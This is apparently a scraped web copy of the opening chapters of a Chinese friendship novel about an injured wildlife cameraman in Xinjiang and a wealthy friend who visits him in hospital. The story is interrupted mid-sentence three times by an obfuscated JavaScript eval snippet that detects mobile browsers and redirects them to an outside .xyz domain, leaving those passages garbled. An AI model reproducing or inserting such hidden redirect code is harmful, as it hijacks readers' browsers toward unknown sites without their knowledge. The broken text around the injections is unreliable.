《友情万岁》 1. 第 1 章 杨嘉树在新疆阿尔金山保护区拍摄藏羚羊迁徙,不慎从高坡上摔下来,小腿骨折,人躺在若羌县人民医院接受治疗。 同事来电慰问,杨嘉树只说不严重,打两星期石膏就好了。实际上他是胫骨骨折,恢复期漫长,可能未来半年内都不能从事剧烈运动。 通电结束,杨嘉树的助理小刘端着从医院食堂打的盒饭走进来:“杨老师,这盒饭比我们在管护站吃的好多了,你看,还有肉呢!” 杨嘉树一看,两菜一汤,菜是青菜和白菜,白菜里零星拌着几颗肉粒,确实有肉。他问小刘:“你吃了吗?” “我吃了。”小刘把小桌板搭好,一次性筷子掰开,递给杨嘉树,“杨老师,待会儿我就要坐管护站的车回保护区了,你自己一个人能行吗?” “嗯。”杨嘉树说,“不是有护工吗。” “好的。”小刘说,“那你就好好休息,后续的工作不用你操心,有杜老师在……”话说到一半,小刘意识到不对,这项目杨老师跟了半年多,每天都在阿尔金山的高原上追着藏羚羊跑,怎么能不操心呢?他挠挠头,心里有点歉疚,“还是要操心的,我会及时把进度同步给你……杨老师,你腿还疼吗?” “没感觉。”杨嘉树说,疼痛到了某个峰值,确实就感觉不到痛了,只有麻木,“那只小羊还好吗?” 杨嘉树说的是刚出生的小藏羚羊,他就是为了救幼羊才从山坡上摔下来。这只羊估计是在迁徙途中跟羊群走散了,腿部和腹部都有伤口,趴在两块石头中间静静等待死亡。 “保护站的人接走了,还在救治……”小刘说,有点于心不忍,“但他们没回信息,我估计,情况可能不太好。” “哦。”杨嘉树说。那也没办法,毕竟该做的努力都做了。 小刘前脚刚走,后脚杨嘉树领导的电话就来了:“小杨啊,你的事我听说了……”先是慰问,而后安抚,接着询问工作交接问题,一切谈妥后,杨嘉树多了三个月的休假,带薪的。 挂完电话,杨嘉树躺在狭窄的病床上,长长叹了口气。 得,这是上天提醒他该休息了。可爱的藏羚羊,再见!工作,再见! 杨嘉树拿起手机,对着自己打着石膏的左腿拍了张照,发朋友圈,配文:“伤了,休息!” 杨嘉树的朋友圈对谁都开放(除了家人),没一会儿列表就多一堆亲切问候的,杨嘉树挑着回,最后实在回复不过来了,在朋友圈底下自己给自己评论:“感谢大家的关心,伤势不重,不耽误约饭哈,只要你诚心,我拄着拐杖前去赴约!” 一直到晚上,杨嘉树都还在陆陆续续回复消息,他的朋友很多,知交却就那么几个。这其中有个叫赵靖的,杨嘉树大学就跟他玩得好,两人是同寝室友,情谊从那时延续到现在,一直没变过。 赵靖是做软件开发的,刚迈过三十岁大坎就被公司给“优化”掉了,恰逢他妻子怀孕生产,没人照顾,赵靖就在家当起了全职主夫,一直到现在。 视频里,赵靖穿着和怀里的婴儿同款的棉纱睡衣,头上戴着一条女款蓝色发带,逗女儿往手机屏幕上看:“西西,快看嘉树哥哥,哦不,是嘉树叔叔~” 杨嘉树从“哥哥”变成“叔叔”,也就这半年的时间。 杨嘉树是个好看的人,这点只要见过他的人都不会质疑。他个子不高,一米七八,和所有在身高方面格外执着的男同胞一样,他往外报身高的时候都会四舍五入,说自己一米八;有时候也会虚荣心作祟,再往高报个两三公分,反正他垫鞋垫,除非是光脚,否则没人非要挑这几厘米的刺。 杨嘉树的好看是那种协调、舒服的好看,其实单拎出五官来说,他长得都一般,单眼皮,唇有点厚,耳尖向上像招风耳(不过杨嘉树也是最近才知道自己耳型的正确叫法应该叫“精灵耳”,看着大,其实特显脸小)。 杨嘉树的鼻子应该是五官中最好看的,他特意拿某巨星的侧脸照片对比过,别无二致,就连鼻尖上翘的弧度都一模一样,杨嘉树认真地考虑过给自己的鼻子上保险这件事,可惜去咨询保险公司,被无情拒绝了。 这么爱美的杨嘉树主动向台里提出要跟“发现·壮美西北”项目,从甘肃的沙山到宁夏的火石寨,再到新疆的帕米尔高原、阿尔金山保护区,两年的时间,杨嘉树从一个精致、昂扬、向上的青春男孩变成一个粗糙、沧桑、忧郁的中年大叔——其实,这倒不是一种坏的变化,从前那个看上去有点稚气的杨嘉树变成了成熟、可靠、有韵味的杨嘉树,怎么看都是向好的变化吧。 赵靖凑近手机屏幕,盯着杨嘉树的脸看了很久,说:“你这不是有韵味,是有气味吧,头发多久没洗了?” “……”杨嘉树扒了扒和鸟窝相差无几的头发,气得瞪起眼睛,“这里的条件你又不是不知道,高原上哪来的水洗头?有的喝都不错了,我内裤都是一个星期才换一次,晾在外面晒个几天再继续穿——” “咦咦咦!”赵靖连忙捂住女儿西红柿的耳朵,露出嫌弃的表情,“在西西面前,你能要点脸吗?!” “嘿嘿。”杨嘉树笑得很流氓,其实这话倒也不是编,他带去的一次性内裤用完之后,还真有一段时间是这么过的。 “那你什么时候回来?”玩笑时间过,赵靖担忧地说起正事,“你那腿得好好休养,要不你回北京去三甲医院再看看?骨折不是小事,闹不好要留下病根的。” “可能没那么快。”杨嘉树说,其实早就打算好了,“我跟组里同事一块儿回去,一个月后吧。” “那你现在腿受伤,有人照顾你吗?” “有,请了护工。” “新疆人?” “嗯。”杨嘉树说,“新疆人。” 结果晚上杨嘉树才知道小刘请的护工是个外地来新疆打工的大叔,人很轴,手脚又重,帮他翻身的时候一双手像扛钢筋水泥一样粗暴,杨嘉树忍不住说:“大叔,你以前在工地干活吧?” 大叔憨憨一笑,说:“小伙子,你咋知道?俺以前是干工地的,俺们包工头卷钱跑路了,俺就跟俺老乡来新疆打工来了。这里工地少,都是国家的,轮不上俺,俺就来这干护工来了,帮人擦屎擦尿,一个月也能挣不少钱。” “……”杨嘉树憋着一口气,松也是不松也不是,最终 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15495736|170176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他说,“大叔,我想尿尿,你扶我去厕所吧。” “好、好。”大叔把他从床上扶起来,掐他的咯吱窝,一摸一手细瘦的排骨,“咦,小伙子,你咋这瘦?瘦得只剩一把骨头了!” 杨嘉树让他掐得咯吱窝疼,不过没敢吭声,让人说瘦就算了,要是再加上弱,那可就真没一点男子气概了。 “我明天多给你打点饭,你多吃点,多吃才长肉。”大叔热情地说,还要帮杨嘉树上厕所,杨嘉树赶紧说不用,让大叔出去。 大叔摸着脑袋犹豫了会儿,走了。片刻后,杨嘉树又在里面叫他:“大叔,你能进来一下吗?” 杨嘉树单腿站不住,老往一旁倒,最终还是让大叔帮忙了。 夜晚,杨嘉树疼得睡不着,在床上轻轻地翻身,大叔蜷缩在折叠床上睡着了,鼾声震天。杨嘉树坐起来,看着窗外的月亮发呆。 手机响了,有人给他打视频,杨嘉树以为是哪个熟人同事,顺手就接了,等看清里面出现的人是谁之后,他屏住呼吸,整个人都愣住了。 “嘉树?” 杨嘉树用力眨了眨眼,不敢置信地说:“顾琢成?” 那张脸对杨嘉树来说非常熟悉,熟到只是一个轮廓、只出现整张脸的二十分之一,杨嘉树都能迅速认出来的程度。 “嘉树。”顾琢成坐在家里的沙发上,大概刚下班,身上的西装外套还没来得及脱,“你受伤了?严重吗,什么时候回北京。” 一连三个问题。以杨嘉树对顾琢成一贯的了解来看,他着急了。然而即使着急,顾琢成脸上的表情也没有太大变化,他只是专注地盯着手机屏幕,好像在看杨嘉树那张历经沧桑的脸。 杨嘉树揉了揉脸颊,说:“是啊,伤得不重,过段时间回北京。” 然后就进入短暂的沉默。 顾琢成在家,可能是刚下班,身上的西装还没来得及脱。穿西装是顾琢成参加工作后养成的习惯,他的第一套西装还是杨嘉树陪他去买的呢,杨嘉树记得很清楚,一套深蓝色暗格西装,白色衬衫,棕红色领带,顾琢成一直穿到两年前……现在不知道有没有扔。 “卡了吗?”可能是见杨嘉树一动也不动,以一种奇特的姿势对着摄像头,顾琢成就以为是他卡了,皱着眉去切换手机网络。 一晃而过的手腕上,杨嘉树发现一个了不得的东西:“顾琢成,你现在都戴上劳力士了?”准确地说,是劳力士蚝式恒动宇宙计型迪通拿铂金腕表——冰蓝色款,杨嘉树一眼就看出来了,曾经他许愿要在赚下人生第一个一百万后拿下它——十年过去了,杨嘉树距存款百万相差也不多,就区区九十万而已。 倒是顾琢成,这个他认识的人里物欲最低、消费观念最保守的人,竟然也开始穿名牌、戴名表了。 还是赚到钱了,杨嘉树心想。 顾琢成看了眼自己的表,说:“是啊,随便买的。” ——随便买的。 “呵呵。”杨嘉树咧开嘴笑了两声,“挺好看的。” “你喜欢?”顾琢成说,“我送你。”然后就放下手机,开始摘表带。 “……” 2. 第 2 章 杨嘉树卡住了。 那张削瘦许多的脸在屏幕上一动不动,连眼睛也不眨了。顾琢成摘下手表,放在茶几上,用手指碰了碰屏幕上杨嘉树的脸:“你怎么老了那么多?” “啊?”杨嘉树的网络又好了,他忽略这个问题,回到上一个问题,“一百万的手表,你说送就送啊。” 顾琢成纠正他:“不到一百万。” “有区别吗?” 顾琢成说:“你要不要。” 杨嘉树承认自己心动了,那可是冰蓝迪,他的梦中情表——关键时刻,杨嘉树很好地守住了节操:“我不要。” “好吧。”顾琢成说,拿起茶几上的手表,又戴了回去。 “……”杨嘉树张了张嘴,没忍住,“你就不知道坚持一下?” 顾琢成说:“你自己说不要的。” “哦。”杨嘉树有点生气了,“我确实不想要。” 顾琢成忽然展开嘴角,笑了笑,就像是春风吹开一朵花那样,他的脸变得温柔起来:“开玩笑的。这块表我戴了很久,有点旧了,回头我送你一块新的。” “……哦。”杨嘉树看向一旁呼呼大睡的护工大叔,“送块便宜的就行。” “什么时候回北京?” 杨嘉树又忽略了顾琢成的这一个问题,回答顾琢成的上一个问题:“我老了很多吗?”他把自己的脸放在屏幕正中央,凑得很近,把手机摄像头当成镜子使用,“没有吧,其实只是瘦了而已。我现在只有120斤。” 杨嘉树看见,顾琢成的眉毛几乎在一瞬间深深皱起来:“怎么这么瘦?平时没有好好吃饭?” 杨嘉树不是故意要卖惨的,可是在新疆确实条件不好,尤其他们整天要深入保护区跟拍藏羚羊,为了不打扰羊群,他们都会事先在某个地方埋伏好,一动不动地等藏羚羊路过,有时候一天下来连口水都喝不上,更不要说吃饭了。 杨嘉树说了一些工作上的辛苦事,确实不容易,但是顾琢成从他脸上没有感觉到抱怨,而是一种幸福、满足,看得出来,他很喜欢他的工作。 最后,杨嘉树说:“我跟同事们一块儿回北京,再过一个月吧。” 顾琢成说:“怎么这么久?你不能先回来吗。你现在在医院,有人照顾你吗。” 杨嘉树说:“一起出来的,当然要一起回去。有护工照顾我,放心吧,是个心地很好的大叔,干活也仔细,再说我现在不能走路,这样去赶飞机多难受啊。” 顾琢成想都没想,说:“我给你包个机。” “……”杨嘉树眯起眼睛,轻轻地笑了起来,“谢谢你,霸道总裁,但是我已经决定好了,我们一个月后再见吧。” 顾琢成没吭声,过了一会儿,他说:“我们好长时间没联系了。” 杨嘉树怔了怔,“是啊。”三个月。最近一次的聊天记录是4月1号,顾琢成问杨嘉树什么时候回北京,出去聚聚。杨嘉树没回。 这不是第一次了。顾琢成的很多消息,杨嘉树都没有回,刚开始是存心的,到后来确实就是回不了——高原上没有信号。 “哦。”顾琢成勉强相信了这个解释,“那你就不知道主动给我发吗?有信号的时候。” 杨嘉树说:“我有给你发啊。有次我们在祁曼塔格山行进的时候,抓拍到一只特别可爱的雪豹,我当天晚上就把照片传给你了,你没睡,我还跟你聊了一会儿。我说你别看这家伙可爱,他可是能单挑野狼的存在。然后你说你也想来新疆玩,我说等我工作结束,我带你来,我现在对这儿可熟悉了……” 顾琢成打断他:“你记错了吧?你什么时候给我发过雪豹的照片。” 杨嘉树愣了愣:“有啊,就在去年七月份,”他意识到什么,点开聊天记录,找到去年七月份——没有,是空白的。杨嘉树抬起头,对顾琢成笑了笑,“我想起来了,那天本来要给你发的,但是信号太差一直发不出去,我就睡着了。然后我可能是在梦里跟你说的这些话,哈哈哈哈。” 顾琢成哼了一声,皱起眉头:“不诚心。假如真的想我,就算走也会走到信号塔下面,你只是不想理我而已。” 杨嘉树这会儿已经笑不出来了,但是多年来在顾琢成面前他早就练就出一种本事,一种随时随地都能笑出来的本事,“你自己来新疆一趟就知道了。而且,就算我们是好兄弟,你也要尊重兄弟的事业吧,你知道这个项目对我来说有多重要,可能关乎我的前途——” 顾琢成没有说话。过了一会儿,他像是想通了一样,对杨嘉树说:“好吧,我原谅你了。” ——“原谅”。他用了这两个字,杨嘉树一时间哑口无言。 “好了,我要睡了。”杨嘉树打了个哈欠,眼睛里沁出一些泪水,“回北京再见吧,你也早点休息。” “……哦。”顾琢成说,“那好吧,晚安。” 杨嘉树躺在床上,很久都没有睡着。 他和顾琢成总是这样,这些年来不管是闹矛盾、吵架,还是误会、彼此厌烦,冷静一段时间后,又能和好如初。杨嘉树有时候也搞不明白为什么,但是想一想,他20岁的时候和顾琢成认识,从此两个人就像两条麻绳一样紧紧缠在一起,现在他们30多岁了,人生差不多三分之一的时间都在一起,心也连在一起,在他心中,顾琢成早就超越任何人、成为他生命中的第一顺位,即使……这种关系有时候会让他非常痛苦。 杨嘉树翻了个身,腿动不了,他就把上半身调转方向,看向窗外的月亮。 新疆的月亮和北京的月亮不一样,站在北京的夜空下看月亮,好像隔了一层轻纱一样,月亮是模糊的。新疆就不一样了,就连月亮的影子都特别清晰,杨嘉树想了想,觉得大概是因为北京的空气太差的缘故。 杨嘉树直到凌晨四点钟才睡着,五点多被隔床病人的呻吟声惊醒,这人刚做完骨瘤切除手术,可能麻药效果刚过,疼得受不了,咬着被子角轻轻地叫,听上去挺揪心的。 杨嘉树坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15495737|170176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来,护工大叔也被吵醒了,两人面面相觑。最后大叔受不了了,听得心里难受,叫那人:“大兄弟,你去叫护士给你打一针止痛针吧?你那么叫,听得俺心里怪不好受的。” 那人抽了一口气,压抑着口中的呻吟,说:“没事,现在还早,等、等护士上班了再叫吧。” 大叔出去给杨嘉树买早餐。杨嘉树蓬头垢面的,已经很久没洗头洗澡了,早上就连刷个牙都困难,腿被裹成了一根坚硬的柱子,杨嘉树没法自己下床。 吃完早饭,杨嘉树收到小刘的消息,是个好消息:“杨老师,他们说小羊救活了。” 杨嘉树还没来得及高兴,小刘又说:“但是后腿伤得太严重,兽医当场给他截肢了。他可能以后都回不去草原了。” “哦。”杨嘉树说,“挺好的,起码捡回一条命。” 跟小刘聊了几句,大叔把早饭也买回来了,粥和玉米面馒头,一小盒萝卜丝榨菜。大叔顺便给隔床病人也买了一份,隔床没人陪护,大叔就问杨嘉树:“小兄弟,你手好好的,能自己吃饭不?能你就自己吃,我给他搭把手,”大叔指着隔壁床的老大哥,“你看他多可怜。” “行。”杨嘉树说。 天一亮,这所医院忽然就忙碌起来,开始不停有大夫、护士、家属进进出出,这间病房有三个床位,旁边两个都是刚做完大手术的,这么看来杨嘉树反而是伤得最轻的。但是,就算这样他也要住院两个星期,一个月后拆石膏,这期间都不能下床运动。 太无聊了,杨嘉树开始给自己找事做,先是把能骚扰的朋友、同事都骚扰了一遍,其实这才是杨嘉树的性格,他喜欢热闹,有人陪着自己会开心很多,否则一个人就容易东想西想,心情不好。 下午的时候睡了几个小时,护工大叔也在一旁跟着打盹,中午吃饭的时候杨嘉树跟他聊了两句,大叔说自己没家人,这辈子没结婚也没生孩子,就是老家有个弟弟,弟弟一共生了五个孩子,夫妻俩养不过来,大叔就跟着一起养,“反正是俺弟的孩儿,跟俺的也没区别。” 杨嘉树听到他说过年的时候也没回家,在给人家新家刷墙漆,心里挺不是滋味的,问他过年为什么不回家,大叔说:“没挣到钱,面上无光,回去给侄儿们的红包钱都没有,回去干啥。” 杨嘉树说:“那工头欠你们的钱没给你们?” 大叔叹了口气,说:“说是今年开年给,给到现在都没影儿,俺也不指望他了。” “多少钱?” “五万多。” …… 睡到下午五点,杨嘉树坐起来的时候感觉头有点晕,还有点轻微的耳鸣,缓了好久才缓过来。大叔出去了,说去给他买点水果,补充维生素。杨嘉树靠在床头上看了会儿手机,忽然间,心里产生一种奇怪的直觉,他抬起头,盯着病房那扇掉漆的木门发呆。 过了一会儿,门被推开,顾琢成走了进来,手里提着一只果篮。 杨嘉树瞪大双眼,彻底愣住了。 3. 第 3 章 顾琢成一进门就看到了杨嘉树,不过这个杨嘉树跟他印象里的杨嘉树差了好多,完全可以说是判若两人。 顾琢成走近了一点,站到杨嘉树床头,把果篮放到床头柜上,紧紧盯着杨嘉树的脸:“你瘦了。” 杨嘉树几乎从顾琢成进门的一瞬间就开始保持呆滞状态,直到顾琢成走近,他才揉了揉眼睛,不敢置信地惊呼:“你怎么来了?!” “来看看你。”顾琢成在杨嘉树的病床上坐下,期间视线一直停在杨嘉树的脸上,他看见杨嘉树的脸像是被高原上的阳光烤干水分似的,变得干巴巴、又粗又红,他的脑海中浮现出两年前刚和杨嘉树分别时、杨嘉树的样子: 那时候杨嘉树刚满30,但是完全看不出他已是而立之年,还和年轻时一样白嫩。是的,“白嫩”。顾琢成的语文成绩一般,想不出什么高级的词汇形容杨嘉树,但是杨嘉树小时候(指20岁)就很水灵,一双眼睛像星星一样一闪一闪的,脸也白,胖的时候脸颊会像仓鼠一样鼓起来,很可爱。如果顾琢成有弟弟,大概就是像杨嘉树这样子。 两年过去了,杨嘉树从“弟弟”变成了“叔叔”,顾琢成有点不太能接受。而且他瘦了好多,白t恤下明显能看到突出来的锁骨、肩胛骨,更别说瘦得凹下去的脸颊了。 “你这两年都在虐待自己吗?”顾琢成说,眉头深深地皱起来。 “……”杨嘉树张了张嘴,还没有从“顾琢成忽然出现”这个惊喜中回过神——不对,到底是惊喜,还是惊吓呢。 小腿传来的疼痛把杨嘉树的理智唤醒了,他看着顾琢成的脸,张开嘴,梦游一样地说:“不是我虐待自己,是工作虐待我……你怎么过来的?坐飞机?” “嗯。”顾琢成说。 从北京到若羌没有直飞航班,要从乌鲁木齐中转,飞行时间七个半小时,从楼兰机场开车到医院还要2个小时…… 杨嘉树不知道自己此刻从心脏里弥漫出的情感应该叫什么,但他好像又回到某个令他感到熟悉的空间,那个地方狭小、憋闷——那是一个透明的玻璃箱子,他被关在里面,从任何一个角度看出去,都只能看到顾琢成。 这一刻杨嘉树感到很沮丧,他明明把那个箱子砸碎了的,为什么,为什么它又出现了? 见杨嘉树在发呆,顾琢成伸出手,在他面前晃了晃:“怎么了?见到我太惊喜了吗。” “呵呵。”杨嘉树扯开嘴角,配合地笑了两声,“是啊,你怎么没提前说一声?让我有个心理准备。” “为什么提前说。”顾琢成忽然盯住杨嘉树,从他的鼻尖看到头顶,又从头顶看到下巴,然后,像是嘲笑一样地说,“那我就看不到这样邋遢的你了,你有多久没洗头?头发又干又油的,好像个鸡窝。” “……”杨嘉树几乎在一瞬间无地自容,很想找个地缝钻进去。他知道顾琢成说这话没有其他意思,只是在跟自己开玩笑而已,但是,还是有种自惭形秽的感觉,尤其是跟现在光鲜亮丽的顾琢成比——他长大了,也成熟了,身上的衣服看上去价值不菲,还有手表……杨嘉树抬起顾琢成搭在床沿上的手,故意用泛酸的语气说,“你都戴上这么贵的手表了,这一块表都够我在老家买套房了——顾琢成,你现在怎么变得那么物质啊。” 顾琢成配合地递出自己的手腕,说:“我没想买的,路过专卖店的时候想起来你曾经说过这块表好看,我进去,刚好有货,就买了。” “……”杨嘉树放开他的手,感觉自己现在有点透不过气,“不要再说了。”他不知道看哪里好,就看着那小小的冰蓝色表盘,“我嫉妒,你现在正把我的梦想戴在手上,你知道吗。” “那你拿去吧。”顾琢成把手表从自己的手腕上摘下来,戴到杨嘉树的手上。 杨嘉树挣了挣,没挣开,一眨眼的功夫,一百万就到了自己手上。 顾琢成拿着杨嘉树的手腕看来看去,摇头:“不好看。你戴蓝色不好看,不适合你。” 杨嘉树说:“是吗?那什么颜色适合我。” 顾琢成想了想,说:“绿色。” “哈哈。”杨嘉树笑出了声,“我最讨厌的就是绿色了。” “不。”顾琢成看着他,很认真地说,“绿色是树的颜色,你叫嘉树,其实我一直觉得绿色适合你,因为很有生命力——你一直是个生命力旺盛的人。” 杨嘉树看着顾琢成,忽然有些难为情,他的手还在顾琢成手里,跟顾琢成的大手相比,他的手小了一圈,而且还黑,又粗糙,关节的地方甚至有些起皮,这块价值百万的表戴在自己手上瞬间成为某种廉价商品——这样看来,蓝色确实不适合自己。 杨嘉树把表脱下来,还给顾琢成:“给你。” 顾琢成没接:“你戴着吧。” 杨嘉树说:“你不是要买块新的给我?我想要新的。” “哦。”顾琢成接过表,说,“行。”他把表戴了回去。 蓝色是适合顾琢成的,尤其是冰蓝、浅蓝、海蓝,只要是蓝色,都跟顾琢成挺搭的。 “公司怎么样?”杨嘉树和他聊了起来,“你现在也是总裁了吧,年薪多少?还是拿分红?你自己一间办公室?有配助理,或是秘书吗?” 顾琢成说:“还行,我们计划两年内上市。” “哇哦!”杨嘉树夸张地瞪大眼睛,“好厉害!” 顾琢成弯起眼睛,笑了笑:“还行吧。” “所以你现在有秘书吗?几个?” “一个。” “哦。”杨嘉树想起三月份顾琢成在朋友圈发的一张照片,身边站了一个很得体干练的女性,以前顾琢成说过,他们公司都是男的,后来才多了一个女性——45岁,会计。所以杨嘉树猜测这名女性应该是顾琢成的秘书,或者助理之类的,看起来更像秘书一点。他说,“男的还是女的啊。” 顾琢成:“男的。” 杨嘉树立刻松了口气:“哦。” 顾琢成奇怪地问:“你问这个干什么?” 杨嘉树说:“你工作那么拼,我怕你再把自己累死,关心你有没有助理帮你分担一下工作啊。” 顾琢成笑了,眼睛都弯成两枚月牙:“谢谢啊。我这个助理还挺能干的。” “那就好。” 又聊了几句,护工大叔回来了。他见老板病床上坐了个像电影明星一样的人,一时间有些不知所措:“哎呀,小兄弟,你朋友来看你啦?”他把手里的东西往床头柜放,看到那里放着的豪华果篮,顿时觉得自己买的苹果香蕉有些寒酸了,他把香蕉和苹果藏进底下的柜子里,干笑着说,“我去给你打饭,你吃馍馍还是干饭?” 杨嘉树说:“有粥吗?我想喝点粥。” 大叔说:“有、有,等着啊。” 顾琢成在旁边插嘴:“晚上吃粥不会容易饿吗。” 杨嘉树摇头:“我没胃口,只吃得下白粥。你什么时候回北京?” “明天下午。”好像现在才聊到正事,顾琢成扭过头,看杨嘉树那条打了石膏的腿,“你的腿怎么样?严重吗?” “还行。”杨嘉树也跟着看过去,“胫骨骨折,折得不严重,就一条缝儿,打一个月石膏就好了。” “怎么这么不小心。”顾琢成皱起眉,看着杨嘉树的眼睛里带了几分责备。 每次他露出这种表情的时候,杨嘉树都有奇妙的感觉,好像自己是顾琢成的某种责任似的,他甚至自作多情地把顾琢成的话理解成这样:“为什么把自己弄伤,你的身体也属于我,你这样随便对待自己,我会不开心。”可当他想到,顾琢成的“属于我”可能只是家人间的互相属于,那颗滚烫的心瞬间就被冰水浇灭了,索然无味。 杨嘉树说:“工伤啊,我也不想的。”他原本想要跟顾琢成分享自己救了一只小羊的事,可是这会儿莫名心情低落,什么都不想说。 “下次小心一点。”顾琢成说,“出门在外,要照顾好自己。不要让我操心。” “哈哈。”杨嘉树听得想笑,事实上他也笑出了声,“你现在说话的口气真是了不得,跟我爸似的。”话一出口,杨嘉树想到自己的爸已经死了,心里头不是滋味,他低下头,不再吭声了。 顾琢成拍拍他的肩,想说什么,又觉得现在的杨嘉树可能并不需要安慰。 大叔端着饭盒进来,顾琢成看见,说:“叔叔,你把饭给我吧,我来喂他。” “诶,好。”大叔走了。 顾琢成拆开一次性餐具,看着饭盒里令人毫无食欲的菜,面露嫌弃:“你每天就吃这个吗?”这里头唯一看得顺眼的可能就是那碗白米粥了,他舀起一勺,递到杨嘉树嘴边,“怪不得你瘦成这样,营养不良了都。” 杨嘉树吃了两口顾琢成喂的饭,才反应过来自己是伤到腿,又不是伤到手,他接过顾琢成手里的勺子,说:“我自己来吧。” 顾琢成对杨嘉树腿上的石膏感兴趣起来,他指着上面一行用马克笔写的字,说:“这谁写的?” 杨嘉树定睛一看,“祝杨老师早日康复”,旁边还用红色签字笔画了一颗空心的爱心。杨嘉树笑了笑,说:“是小刘,我助理。怎么样,是不是挺好玩。” 顾琢成说:“是。我也要写。” 杨嘉树看着他站起来找笔,觉得有点好笑:“你都三十多了,公司老总,能不能稳重点。这都小孩子干的事。” 顾琢成去护士站借了根笔过来,特别认真地在杨嘉树腿上写了几个字。 等他写完退开,杨嘉树眯起眼睛看了半天,也看不清上面都写了啥:“你写的什么啊,能不能大气点,字小得都看不见。” 顾琢成说:“祝杨嘉树早日康复。多朴实的祝愿。” 杨嘉树放下勺子,说:“那你也帮我写一下。” “好啊,你想写什么?” “就写:希望杨嘉树以后买东西都打骨折。” “哈哈。”顾琢成看着杨嘉树笑,然后把这句话写了上去。 晚上,顾琢成要陪杨嘉树睡医院,他的意思是他睡在护工大叔原本要睡的折叠床,然后给大叔在旁边宾馆开间房,大叔吓了一跳,说:“你要睡就睡嘛,我去过道睡,没得关系,反正睡这只是为了看着他,”大叔指指杨嘉树,“万一他晚上要起夜啥子的。” 顾琢成的关注点偏了:“怎么不给你插个尿管?这样拖着石膏走路多不方便。” 杨嘉树汗:“没这个必要吧,我是瘸了,又不是瘫了。” 顾琢成摊手:“好吧。” 杨嘉树:“而且你没必要睡这陪我,你睡觉跟昏迷似的,我怕我晚上需要帮助的时候叫不醒你,你还是自己去住宾馆吧。” 顾琢成静了静,说:“好吧,我明天早上再来看你。” 第二天一早,顾琢成带着早餐过来的,宾馆楼下有卖鲜虾馄饨的,顾琢成吃完觉得味道不错,像是杨嘉树老家那边的做法,他打包了一份带上来,杨嘉树正在吃医院的早餐。 顾琢成过去一看,又是白粥,加几片菜叶。他把馄饨摆上去,把医院的餐盒撤走,让杨嘉树吃他这个:“你以前那么挑嘴,现在竟然也吃得下这个。”他看着餐盒里黏黏糊糊的一坨青菜,好奇它是什么味道,就用杨嘉树用的筷子夹起一片尝了尝——意外地还可以,没想象中的难吃。 杨嘉树用勺子搅着馄饨,散热:“还行吧,就是看上去难看了点。” “行是行,但是没营养。”顾琢成说,“其实你可以回北京修养,住我家,我给你找个营养师,天天做饭给你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15495738|170176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃。” 杨嘉树手上的动作停了一会儿:“行啊,等回去再说吧。” 吃完饭,顾琢成坐着就开始处理工作,杨嘉树见他一会儿一个电话,就叫他要不回宾馆得了,在医院人来人往的也不方便,顾琢成放下手机,说:“很快就好了。” 过了十分钟,他忙完了,拉着杨嘉树和他聊天。 杨嘉树说聊什么呢,顾琢成就说聊聊你在西北都遇到哪些趣事。然后杨嘉树的话匣子就打开了,从刚到宁夏银川开始说起,一刻不带停的,说了两个多钟头。 期间顾琢成偶尔插一下嘴,他发现杨嘉树根本就没变,还是一样话痨,杨嘉树以前就爱说话,如果别人一天只有十分之一的时间在说话,那杨嘉树就是五分之一,他的嘴巴很容易寂寞——准确地说,是他本人比较怕寂寞,需要人陪着。顾琢成常说,要不你就在家养条小狗吧,汪汪汪的,你说什么它都会回应。杨嘉树不要,养狗多费劲啊,你知道的,我很懒,可不想顶着风吹日晒出去遛狗。 ——有时候,杨嘉树对自己的认识也挺深刻的。有一段时间,顾琢成怀疑是不是自己哪里得罪杨嘉树了,才让他故意疏远自己。要知道,以前杨嘉树即使生气,也不会超过一天,更不会无缘无故不回消息超过三天。但是自从他来西北,整个人就跟失踪了似的,经常不回消息,顾琢成问他,原因无外乎那两个:忙,没信号。顾琢成不信,回忆自己到底是哪里惹到杨嘉树了,可是他找不到原因。所以最后他认为不是自己的原因,而是杨嘉树的——可能他真的很热爱自己的工作吧。 照顾完杨嘉树吃午饭,顾琢成就得走了,他公司还有事情,急着回去处理。 “哦。”杨嘉树坐在床上,表情有些呆滞,“好的,那我就不送你了。” 顾琢成听得想笑:“你怎么送我啊,腿都这样了。” 杨嘉树瞪他:“目送,不行吗。” “行行行。”顾琢成说要走,已经磨蹭一会儿了,他坐在杨嘉树的床上,觉得今天的杨嘉树比昨天的还要沧桑,尤其是面部的皮肤,粗糙很多,他忍不住上手捏了一把,是干的,还有些油,“你这两年都经历了什么。以前你可是奶油皮肤,手一掐感觉就要化掉了,现在粗得跟牛皮似的,”他一脸不忍直视的表情,“回北京好好保养一下吧,我担心这样下去没姑娘看得上你了。” 